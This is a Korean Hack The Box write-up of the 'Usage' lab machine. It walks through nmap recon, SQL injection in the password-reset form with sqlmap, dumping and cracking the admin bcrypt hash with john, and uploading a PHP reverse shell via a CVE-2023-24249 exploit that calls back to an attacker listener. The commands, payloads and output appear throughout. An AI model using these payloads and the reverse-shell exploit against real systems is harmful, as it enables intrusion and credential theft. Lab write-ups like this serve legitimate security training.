← 전체 Write-Up

RedTeam / Hack The Box / RETIRED MACHINE

Usage

비밀번호 재설정 기능의 SQL 인젝션, 계정정보 분석 및 관리자 업로드 기능 점검.

읽기 안내

Hack The Box의 개인 실습 기록입니다. 문제 환경의 주소·계정·플래그와 원문에 남아 있는 실패·미완료 결과를 그대로 보존했습니다. 코드와 이미지는 이 기록을 읽기 위한 실습 증적입니다.

Usage

❯ sudo nmap -sV -sC 10.129.254.153
Password:
Starting Nmap 7.97 ( https://nmap.org ) at 2025-08-04 18:26 +0900
Nmap scan report for 10.129.254.153
Host is up (0.29s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_  256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.81 seconds

80 port, 22 port open

>> http://{ip}

Usage — 실습 화면 1

여기서 Reset Password로 간다.

Usage — 실습 화면 2

'or 1=1 -- -

해당 구문 입력 시 SQL Injection이 터진다.

Usage — 실습 화면 3

SQLMAP

Sqlmap으로 injection을 해보자.

❯ sqlmap -r sqli -p email -level 5 -risk 3 -technique=B -batch --dbs
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.9.7#stable}
|_ -| . [,]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 21:36:05 /2025-07-30/

[21:36:05] [INFO] parsing HTTP request from 'sqli'
[21:36:05] [WARNING] provided value for parameter 'email' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[21:36:05] [INFO] testing connection to the target URL
got a 302 redirect to 'http://usage.htb/forget-password'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
[21:36:11] [INFO] testing if the target URL content is stable
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y
[21:36:16] [WARNING] heuristic (basic) test shows that POST parameter 'email' might not be injectable
[21:36:17] [INFO] testing for SQL injection on POST parameter 'email'
[21:36:17] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:42:34] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[21:47:32] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
[21:53:20] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[21:53:38] [INFO] POST parameter 'email' appears to be 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)' injectable
[21:54:02] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
[21:54:02] [INFO] checking if the injection point on POST parameter 'email' is a false positive
POST parameter 'email' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 335 HTTP(s) requests:
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: _token=1jJx6JkMDPlB92423uXJRsUy0vX87QBzTrm7VDaB&email=' AND 6689=(SELECT (CASE WHEN (6689=6689) THEN 6689 ELSE (SELECT 8425 UNION SELECT 8222) END))-- qpEN
---
[21:54:59] [INFO] testing MySQL
[21:55:04] [INFO] confirming MySQL
[21:55:14] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 8.0.0
[21:55:19] [INFO] fetching database names
[21:55:19] [INFO] fetching number of databases
[21:55:19] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[21:55:19] [INFO] retrieved: 3
[21:55:37] [INFO] retrieved: information_schema
[22:00:58] [INFO] retrieved: performance_schema
[22:06:08] [INFO] retrieved: usage_blog
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog

[22:09:13] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 285 times
[22:09:13] [INFO] fetched data logged to text files under '/Users/aarin/.local/share/sqlmap/output/usage.htb'

[*] ending @ 22:09:13 /2025-07-30/
POST /forget-password HTTP/1.1
Host: usage.htb
Content-Length: 74
Cache-Control: max-age=0
Origin: http://usage.htb
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://usage.htb/forget-password
Accept-Encoding: gzip, deflate, br
Accept-Language: ko,ko-KR;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: XSRF-TOKEN=eyJpdiI6IngwMFV1N21hRExxSUNsdFB6OHR4TEE9PSIsInZhbHVlIjoiM0laSFdTaVhkN01XNWUxVWR1NlJZY1ZIcFBvN3Y0aDkxa0EzNVg4TnZQcmhMSkF5Q0hoU2RtNmxwM3cyMVFvZGdBM3BPa2hSa2d3QXJLZ0J4OXFpU1ZTK2hQaERBQTFWdDJsYjhGN3dpSFp6VU9nVFNvKzJuazNza2NBR1kzRGYiLCJtYWMiOiIxZjhiZDc2YjE2MDNjOGNiODM3ZjkwY2RhMWJiMzZkM2E2MmUzZWQ1ZTMyNDZiZGNjMDI5MGI5N2FhM2MxNjg2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRQazRPNDltU1p5NFk4NXh5bFVZc0E9PSIsInZhbHVlIjoiNHhtN01wbUEwNjZpM0Y5dFA0LzRYbW5VbVBXT2tSdWhMVVFzU1M3T0RUeGk2aldQSGJhTTJqc1kzVmN5SW1ZSDhxQWJ5YzBwZWlScmVKbktSZUZoMXNjdVBVS0JPRVNQeGx1ZVpBNFFScWk5STRtb1BUZlVIV3B4ai80UTEyVXEiLCJtYWMiOiIxMjg3NjI0YjRkYWIyZWZhYWIzYmY5ZmQzZjhhOGY2MjU4NThkNDlkZTAzMmI2NjA5YWYxYTQ1YTMzNTE2NzE5IiwidGFnIjoiIn0%3D
Connection: keep-alive

_token=1jJx6JkMDPlB92423uXJRsUy0vX87QBzTrm7VDaB&email=
  1. -r → 미리 캡쳐한 HTTP 요청(request)을 담은 파일을 지정할 때 사용함.
    사용법: Burp suite나 Fiddler와 같은 프록시에서 request를 캡쳐한 후 저장하여 사용함.
  2. -p → SQL Injection 공격을 수행할 때 검사할 파라미터를 특정한다. email파라미터를 대상으로 인젝션을 할 것이기 때문에 -p email로 한 것.
  3. —level 5 → 테스트의 강도(정밀성)를 설정. (기본 값: 1, 최대 값: 5)
    1이 가장 빠르고 기본적인 검사, 5가 가장 정밀하고 다양한 방식으로 검사
  4. —risk 3 → 테스트의 위험도를 설정(기본 값: 1, 최대 값: 3)
    1: 상대적으로 안전한 요청만 수행
    3: 위험한 요청도 포함하여 수행(데이터 변경, DELETE, UPDATE 등 위험한 쿼리도 수행)
  5. —technique=B → 사용 할 SQL Injection 기법을 지정함.
    기법의 종류
    → B: Boolean-based blind SQL Injection
    → E: Error-based SQL Injection
    → U: Union-based SQL Injection
    → S: Stacked queries
    → T: Time-based blind SQL Injection
  6. —batch → sqlmap이 사용자에게 물어보는 질문을 모두 기본값으로 처리함.
  7. —dbs → 데이터베이스 목록을 추출한다.
    설명: 취약점이 발견됐을 때 데이터베이스 목록을 자동으로 출력한다.
    MySQL, MSSQL, PostgreSQL, Oracle 등 다양한 DBMS에서 사용 가능함.
❯ sqlmap -r sqli -p email --level 5 --risk 3 --technique=B --batch -D usage_blog --tables
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.9.7#stable}
|_ -| . [)]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:11:40 /2025-07-30/

[22:11:40] [INFO] parsing HTTP request from 'sqli'
[22:11:40] [WARNING] provided value for parameter 'email' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[22:11:40] [INFO] resuming back-end DBMS 'mysql'
[22:11:40] [INFO] testing connection to the target URL
got a 302 redirect to 'http://usage.htb/forget-password'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: _token=1jJx6JkMDPlB92423uXJRsUy0vX87QBzTrm7VDaB&email=' AND 6689=(SELECT (CASE WHEN (6689=6689) THEN 6689 ELSE (SELECT 8425 UNION SELECT 8222) END))-- qpEN
---
[22:11:45] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL 8
[22:11:45] [INFO] fetching tables for database: 'usage_blog'
[22:11:45] [INFO] fetching number of tables for database 'usage_blog'
[22:11:45] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[22:11:45] [INFO] retrieved:
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y
15
[22:12:08] [INFO] retrieved: admin_menu
[22:15:14] [INFO] retrieved: admin_operation_log
[22:20:08] [INFO] retrieved: admin_permissions
[22:24:06] [INFO] retrieved: admin_role_menu
[22:27:44] [INFO] retrieved: admin_role_permissions
[22:31:52] [INFO] retrieved: admin_role_users
[22:34:14] [INFO] retrieved: admin_roles
[22:35:25] [INFO] retrieved: admin_user_permissions
[22:41:01] [INFO] retrieved: admin_users
[22:42:12] [INFO] retrieved: blog
[22:43:38] [INFO] retrieved: failed_jobs
[22:47:02] [INFO] retrieved: migrations
[22:50:01] [INFO] retrieved: password_reset_tokens
[22:56:59] [INFO] retrieved: personal_access_tokens
[23:03:24] [INFO] retrieved: users
Database: usage_blog
[15 tables]
+------------------------+
| admin_menu             |
| admin_operation_log    |
| admin_permissions      |
| admin_role_menu        |
| admin_role_permissions |
| admin_role_users       |
| admin_roles            |
| admin_user_permissions |
| admin_users            |
| blog                   |
| failed_jobs            |
| migrations             |
| password_reset_tokens  |
| personal_access_tokens |
| users                  |
+------------------------+

[23:04:52] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 504 times
[23:04:52] [INFO] fetched data logged to text files under '/Users/aarin/.local/share/sqlmap/output/usage.htb'

[*] ending @ 23:04:52 /2025-07-30/
  1. —D → 공격 대상 DB 이름을 지정한다.
    데이터베이스 목록(—dbs)을 통해 확보된 데이터베이스 중에서 usage_blog 데이터베이스를 선택한다.
  2. —tables → 지정한 데이터베이스 안의 모든 테이블 목록을 출력한다.
    데이터 베이스 내에 존재하는 모든 테이블 목록을 보여준다.
❯ sqlmap -r sqli -p email --level 5 --risk 3 --technique=B --batch -D usage_blog -T admin_users --columns
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.9.7#stable}
|_ -| . [,]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 18:49:25 /2025-08-04/

[18:49:25] [INFO] parsing HTTP request from 'sqli'
[18:49:25] [WARNING] provided value for parameter 'email' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[18:49:25] [INFO] resuming back-end DBMS 'mysql'
[18:49:25] [INFO] testing connection to the target URL
got a 302 redirect to 'http://usage.htb/forget-password'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: _token=1jJx6JkMDPlB92423uXJRsUy0vX87QBzTrm7VDaB&email=' AND 6689=(SELECT (CASE WHEN (6689=6689) THEN 6689 ELSE (SELECT 8425 UNION SELECT 8222) END))-- qpEN
---
[18:49:29] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL 8
[18:49:29] [INFO] fetching columns for table 'admin_users' in database 'usage_blog'
[18:49:29] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[18:49:29] [INFO] retrieved:
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y
8
[18:49:45] [INFO] retrieved: avatar
[18:51:09] [INFO] retrieved: varchar(255)
[18:54:02] [INFO] retrieved: created_at
[18:56:34] [INFO] retrieved: timestamp
[18:58:56] [INFO] retrieved: id
[18:59:29] [INFO] retrieved: int unsigned
[19:02:43] [INFO] retrieved: name
[19:03:42] [INFO] retrieved: varchar(255)
[19:06:45] [INFO] retrieved: password
[19:08:46] [INFO] retrieved: varchar(60)
[19:11:35] [INFO] retrieved: remember_token
[19:15:14] [INFO] retrieved: varchar(100)
[19:18:15] [INFO] retrieved: updated_at
[19:21:02] [INFO] retrieved: timestamp
[19:23:23] [INFO] retrieved: username
[19:25:18] [INFO] retrieved: varchar(190)
Database: usage_blog
Table: admin_users
[8 columns]
+----------------+--------------+
| Column         | Type         |
+----------------+--------------+
| name           | varchar(255) |
| avatar         | varchar(255) |
| created_at     | timestamp    |
| id             | int unsigned |
| password       | varchar(60)  |
| remember_token | varchar(100) |
| updated_at     | timestamp    |
| username       | varchar(190) |
+----------------+--------------+

[19:28:35] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 560 times
[19:28:35] [INFO] fetched data logged to text files under '/Users/aarin/.local/share/sqlmap/output/usage.htb'

[*] ending @ 19:28:35 /2025-08-04/

—T→ 대상 데이터베이스(usage_blog)에서 선택한 테이블을 지정함. —columns → 지정한 테이블 내의 컬럼(필드)을 모두 출력함.
즉, admin_users라는 테이블 내에 존재하는 모든 컬럼을 출력한다.

❯ sqlmap -r sqli -p email --level 5 --risk 3 --technique=B --batch -D usage_blog -T admin_users -C "name,username,password" --dump
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.9.7#stable}
|_ -| . [']     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:05:39 /2025-08-05/

[17:05:39] [INFO] parsing HTTP request from 'sqli'
[17:05:39] [WARNING] provided value for parameter 'email' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[17:05:39] [INFO] resuming back-end DBMS 'mysql'
[17:05:39] [INFO] testing connection to the target URL
got a 302 redirect to 'http://usage.htb/forget-password'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: _token=1jJx6JkMDPlB92423uXJRsUy0vX87QBzTrm7VDaB&email=' AND 6689=(SELECT (CASE WHEN (6689=6689) THEN 6689 ELSE (SELECT 8425 UNION SELECT 8222) END))-- qpEN
---
[17:05:44] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL 8
[17:05:44] [INFO] fetching entries of column(s) '`name`,password,username' for table 'admin_users' in database 'usage_blog'
[17:05:44] [INFO] fetching number of column(s) '`name`,password,username' entries for table 'admin_users' in database 'usage_blog'
[17:05:44] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[17:05:44] [INFO] retrieved:
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y
1
[17:05:53] [INFO] retrieved: Administrator
[17:09:13] [INFO] retrieved: $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2
[17:29:03] [INFO] retrieved: admin
Database: usage_blog
Table: admin_users
[1 entry]
+---------------+----------+--------------------------------------------------------------+
| name          | username | password                                                     |
+---------------+----------+--------------------------------------------------------------+
| Administrator | admin    | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 |
+---------------+----------+--------------------------------------------------------------+

[17:30:22] [INFO] table 'usage_blog.admin_users' dumped to CSV file '/Users/aarin/.local/share/sqlmap/output/usage.htb/dump/usage_blog/admin_users.csv'
[17:30:22] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 273 times
[17:30:22] [INFO] fetched data logged to text files under '/Users/aarin/.local/share/sqlmap/output/usage.htb'

[*] ending @ 17:30:22 /2025-08-05/

admin이라는 username과 password가 나왔다. password는 해싱 되어있는 것으로 보인다.

john the ripper아니면 hashcat으로 해싱된 값을 풀어보자. 해싱된 값을 hash.txt에다가 넣고 저장한 뒤에 john을 실행한다.

❯ john --wordlist={wordlist_path} --format=bcrypt {hash.txt_path}
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:14 0% 0g/s 67.53p/s 67.53c/s 67.53C/s r9uKWcfx..ronald
0g 0:00:00:16 1% 0g/s 67.49p/s 67.49c/s 67.49C/s skittles..jamesbond
0g 0:00:00:19 1% 0g/s 67.38p/s 67.38c/s 67.38C/s tobias..171717
0g 0:00:00:21 1% 0g/s 67.31p/s 67.31c/s 67.31C/s lollypop..trevor
whatever1        (?)
1g 0:00:00:27 100% 0.03581g/s 67.15p/s 67.15c/s 67.15C/s pas..john!20130605at1753
Use the "--show" option to display all of the cracked passwords reliably
Session completed

bcrypt인지는 어떻게 알았나?

$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2

  1. 접두어 $2a$, $2b$, $2y$는 모두 bcrypt 계열 식별자.
    $2y$는 주로 PHP(password_hash) 진영에서 쓰이는 변종(과거 $2a$ 버그 패치 이후 분기).
  2. 비용(cost) 10
    $2y$ 다음의 두 자리 숫자 → 라운드 비용(2^10)
  3. 길이와 구문
    bcrypt 표준 포맷:
$2[abxy]$<cost>$<22자 salt><31자 hash>  → 총 60자

뒤쪽 salt+hash는 bcrypt 전용 수정 Base64(./A-Za-z0-9) 문자셋을 사용.

간단 식별 정규식

^\$2[abxy]\$\d{2}\$[./A-Za-z0-9]{53}$

다른 해시들과 구분 포인트

  • md5crypt: $1$...
  • sha256crypt: $5$...
  • sha512crypt: $6$...
  • argon2: $argon2i$, $argon2id$ …
  • scrypt: $scrypt$...

아무튼 다시 돌아와서 password가 whatever1 인것을 확인했으니 admin console에 로그인한다.

Usage — 실습 화면 4

오른쪽 밑에 laravel 1.8.17 버전이 나와있다. 관련된 CVE가 있는지 확인해보자.

원문에 첨부된 참고 링크 보기

해당 CVE는 파일 업로드를 통한 RCE 공격에 관련된 취약점이다.

admin 계정으로 로그인한 뒤 아바타 업로드 기능을 통해서 PHP 리버스 쉘 파일을 확장자 우회를 통해 업로드 한다. 그리고 업로드 된 PHP 파일의 URL로 접속해서 리버스 쉘을 트리거하여 공격자 리스너로 접속을 성립 시키는 원리다.

사용법은 다음과 같다.

python3 exploit.py -u <TARGET_URL> -U <USERNAME> -P <PASSWORD> -i <ATTACKER_IP> -p <ATTACKER_PORT>
  • u: 대상 애플리케이션 URL (예: http://admin.example.com)
  • -U/-P: 로그인에 사용할 사용자명/비밀번호
  • i: 공격자(본인) IP (리버스 쉘이 붙을 주소)
  • p: 공격자 리스너 포트
❯ python3 exploit.py -u http://admin.usage.htb -U admin -P whatever1 -i 10.10.16.188 -p 23423
CVE-2023-24249-Exploit/exploit.py:6: SyntaxWarning: invalid escape sequence '\ '
  BANNER = """

  _____   _____   ___ __ ___ ____   ___ _ _ ___ _ _  ___
 / __\ \ / / __|_|_  )  \_  )__ /__|_  ) | |_  ) | |/ _ \
| (__ \ V /| _|___/ / () / / |_ \___/ /|_  _/ /|_  _\_, /
 \___| \_/ |___| /___\__/___|___/  /___| |_/___| |_| /_/  EXPLOIT by IDUZZEL

[+] Reverse shell uploaded successfully! Attempting to execute it...
[+] Reverse shell executed successfully! Check your listener at 10.10.16.188:23423
❯ nc -nvl 23423
bash: cannot set terminal process group (1102): Inappropriate ioctl for device
bash: no job control in this shell
dash@usage:/var/www/html/project_admin/public/uploads/images$ ㅊ

dash@usage:/var/www/html/project_admin/public/uploads/images$ cd
cd
dash@usage:~$ ls -al
ls -al
total 52
drwxr-x--- 6 dash dash 4096 Aug 14 05:31 .
drwxr-xr-x 4 root root 4096 Aug 16  2023 ..
lrwxrwxrwx 1 root root    9 Apr  2  2024 .bash_history -> /dev/null
-rw-r--r-- 1 dash dash 3771 Jan  6  2022 .bashrc
drwx------ 3 dash dash 4096 Aug  7  2023 .cache
drwxrwxr-x 4 dash dash 4096 Aug 20  2023 .config
drwxrwxr-x 3 dash dash 4096 Aug  7  2023 .local
-rw-r--r-- 1 dash dash   32 Oct 26  2023 .monit.id
-rw-r--r-- 1 dash dash    5 Aug 14 05:31 .monit.pid
-rw------- 1 dash dash 1192 Aug 14 05:29 .monit.state
-rwx------ 1 dash dash  707 Oct 26  2023 .monitrc
-rw-r--r-- 1 dash dash  807 Jan  6  2022 .profile
drwx------ 2 dash dash 4096 Aug 24  2023 .ssh
-rw-r----- 1 root dash   33 Aug 14 03:38 user.txt
dash@usage:~$ cat user.txt
cat user.txt
b43b11be9eff517f2cb6b59f4035ae4a

이렇게 user flag를 따 낼 수 있게 됐다.

b43b11be9eff517f2cb6b59f4035ae4a

작성 기록과 문제 출처

원문과 출처

풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.

원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.